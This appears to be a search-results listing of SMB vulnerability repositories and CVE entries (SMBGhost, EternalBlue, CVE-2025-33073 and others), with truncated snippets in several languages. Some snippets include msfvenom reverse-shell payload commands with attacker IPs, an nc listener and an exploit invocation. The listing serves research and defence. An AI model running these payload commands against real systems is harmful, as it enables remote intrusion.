370 matches found
SMBGhost_RCE_PoC
SMBGhostRCEPoC PoC RCE per CVE-2020-0796 "SMBGhost" Solo a scopo dimostrativo! Usalo solo come riferimento. Sul serio. Non è stato testato al di fuori del mio ambiente di laboratorio. È stato scritto in fretta e necessita di qualche miglioramento per essere più affidabile. A volte provoca un BSOD...
SMBGhost-LPE-Metasploit-Module
Modulo Metasploit per LPE SMBGhost Questa è un'implementazione della vulnerabilità CVE-2020-0796, nota anche come SMBGhost, compatibile con il framework Metasploit Note: Questo modulo è pensato per essere utilizzato quando si dispone di una shell valida per escalare i propri privilegi. È possibil...
MS17-010_CVE-2017-0143
MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Usare msfvenom per generare un Payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifica il payload una shell TCP inversa per Windows. LHOST=10.10.14.4:...
CVE-2022-26937
PoC di crash di Windows Network File System CVE-2022-26937 root@kitploit: nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a critical...
SMB-Protocol-Vulnerability_CVE-2017-0144
LAB: ATTACCO AL SISTEMA OPERATIVO WINDOWS BASATO SULLA VULNERABILITÀ DEL PROTOCOLLO SMB. 1. DESCRIZIONE 2. INTRODUZIONE GENERALE 3. PREPARAZIONE 4. ESECUZIONE DELL'ATTACCO 5. MISURE DI PREVENZIONE 1. DESCRIZIONE In questo laboratorio useremo due computer per simulare un attacco basato sulla...
CVE-2025-33073
CVE-2025-33073 — Riflessione NTLM EoP del Client SMB di Windows Analisi di ricerca di Sentinel AI Defense. Solo analisi difensiva — nessun exploit funzionante o PoC viene pubblicato qui. Un difetto di controllo degli accessi improprio nel client SMB di Windows che ripristina tecniche di riflessio...
windows-smb-vulnerability-framework-cve-2025-33073
Framework di Ricerca sulle Vulnerabilità del Client SMB di Windows Autore: cyberseallll Creato: 2025 Panoramica Ho sviluppato questo framework di ricerca per analizzare e comprendere CVE-2025-33073, una vulnerabilità critica di Elevazione dei Privilegi nel Client SMB di Windows. Questa...
Blackash-CVE-2025-33073
✨ CVE-2025-33073: Windows SMB RCE 취약점 🚨 🔥 높은 심각도의 인증된 원격 코드 실행 🔥 Windows SMB 클라이언트의 부적절한 접근 제어 CWE-284 🛡️ 주요 정보 요약...
CVE-2020-0796
CVE-2020-0796 CVE-2020-0796 설명 및 취약점 연구 - 초보자를 위한 CENG325 학기 프로젝트 어떻게 익스플로잇할까? 리버스 셸을 위한 페이로드 생성: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python 리스닝 포트: nc -lvnp 5555 익스플로잇 코드 실행: python3 exploit.py -ip TARGETIP PoC 저장소...
CVE-2022-24500
Exploit RCE CVE-2022-24500 Vulnerabilità di esecuzione remota di codice in SMB di Windows Vulnerabilità: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 Passo 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -...
Vulnerability-Research-CVE-2017-0144
Vulnerability-Research-CVE-2017-0144 LAB: ANGRIFF AUF DAS WINDOWS-BETRIEBSSYSTEM BASIEREND AUF DER SMB-PROTOKOLLSCHWACHSTELLE. I. BESCHREIBUNG In diesem Lab verwenden wir zwei Rechner, um einen Angriff zu simulieren, der auf einer Schwachstelle im SMB-Protokoll des Windows-Betriebssystems basiert...
CVE-2026-62799
Heap-based buffer overflow in Windows SMB Client allows an authorized attacker to elevate privileges locally...
CVE-2026-62800
Heap-based buffer overflow in Windows SMB Server allows an authorized attacker to execute code over a network...
CVE-2026-62790
Heap-based buffer overflow in Windows SMB Server allows an authorized attacker to execute code over a network...
CVE-2026-62782
Out-of-bounds read in Windows SMB Client allows an unauthorized attacker to disclose information over a network...
CVE-2026-65794 Windows SMB Client Information Disclosure Vulnerability
...
CVE-2026-65794
CVE-2026-65794 is a buffer over-read in the Windows SMB Client that allows an unauthenticated attacker to disclose information over the network. The CVSS v3.1 base score is 6.5 (Medium) with a network attack vector, low attack complexity, no privileges required, and user interaction required; imp...
EUVD-2026-56740
Buffer over-read in Windows SMB Client allows an unauthorized attacker to disclose information over a network...